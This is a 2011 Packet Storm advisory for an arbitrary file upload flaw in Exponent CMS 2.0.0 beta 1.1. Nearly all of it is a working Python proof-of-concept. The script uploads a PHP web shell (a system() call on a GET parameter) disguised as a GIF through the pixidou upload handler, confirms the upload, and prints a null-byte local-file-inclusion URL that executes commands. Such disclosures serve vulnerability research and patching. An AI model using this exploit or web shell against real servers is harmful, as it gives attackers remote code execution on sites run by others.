Exponent 2.0.0 Beta 1.1 Shell Upload

2011-05-09T00:00:00
ID PACKETSTORM:101227
Type packetstorm
Reporter AutoSec Tools
Modified 2011-05-09T00:00:00

Description

                                        
                                            `# ------------------------------------------------------------------------  
# Software................Exponent 2.0.0 beta 1.1  
# Vulnerability...........Arbitrary Upload  
# Threat Level............Very Critical (5/5)  
# Download................http://www.exponentcms.org/  
# Discovery Date..........5/4/2011  
# Tested On...............Windows Vista + XAMPP  
# ------------------------------------------------------------------------  
# Author..................AutoSec Tools  
# Site....................http://www.autosectools.com/  
# Email...................John Leitch <john@autosectools.com>  
# ------------------------------------------------------------------------  
#   
#   
# --Description--  
#   
# An arbitrary upload vulnerability in Exponent 2.0.0 beta 1.1 can be  
# exploited to upload a PHP shell.  
#   
#   
# --PoC--  
  
import socket  
  
host = 'localhost'  
path = '/exponent'  
shell_path = path + '/framework/modules/pixidou/images/shell.gif'  
port = 80  
  
def upload_shell():  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.settimeout(8)   
  
s.send('POST ' + path + '/framework/modules/pixidou/upload.php HTTP/1.1\r\n'  
'Host: localhost\r\n'  
'Proxy-Connection: keep-alive\r\n'  
'User-Agent: x\r\n'  
'Content-Length: 160\r\n'  
'Cache-Control: max-age=0\r\n'  
'Origin: null\r\n'  
'Content-Type: multipart/form-data; boundary=----x\r\n'  
'Accept: text/html\r\n'  
'Accept-Encoding: gzip,deflate,sdch\r\n'  
'Accept-Language: en-US,en;q=0.8\r\n'  
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'  
'\r\n'  
'------x\r\n'  
'Content-Disposition: form-data; name="uploadImage"; filename="shell.gif"\r\n'  
'Content-Type: image/gif\r\n'  
'\r\n'  
'<?php echo system($_GET["CMD"]); ?>\r\n'  
'------x--\r\n'  
'\r\n')  
  
resp = s.recv(8192)  
  
http_ok = 'HTTP/1.1 200 OK'  
  
if http_ok not in resp[:len(http_ok)]:  
print 'error uploading shell'  
return  
else: print 'shell uploaded'  
  
s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\  
'Host: ' + host + '\r\n\r\n')  
  
if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'   
else:  
print 'shell located at http://' + host + shell_path  
print '\nexploit using lfi e.g. http://localhost/exponent/content_selector.php?controller=..%2f..%2fexponent%2fframework%2fmodules%2fpixidou%2fimages%2fshell.gif%00&section=&action=&CMD=calc'  
  
upload_shell()  
`